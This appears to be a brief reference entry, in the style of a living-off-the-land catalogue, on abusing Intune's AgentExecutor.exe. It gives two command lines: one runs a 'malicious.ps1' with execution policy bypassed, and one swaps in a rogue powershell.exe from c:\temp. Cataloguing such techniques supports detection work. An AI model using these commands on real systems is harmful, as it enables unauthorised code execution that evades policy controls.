Intune Management Extension included on Intune Managed Devices

Paths:

C:\Program Files (x86)\Microsoft Intune Management Extension

Detection:

Execute

Spawns powershell.exe and executes a provided powershell script with ExecutionPolicy Bypass argument

AgentExecutor.exe -powershell "c:\temp\malicious.ps1" "c:\temp\test.log" "c:\temp\test1.log" "c:\temp\test2.log" 60000 "C:\Windows\SysWOW64\WindowsPowerShell\v1.0" 0 1

If we place a binary named powershell.exe in the path c:\temp, agentexecutor.exe will execute it successfully

AgentExecutor.exe -powershell "c:\temp\malicious.ps1" "c:\temp\test.log" "c:\temp\test1.log" "c:\temp\test2.log" 60000 "C:\temp\" 0 1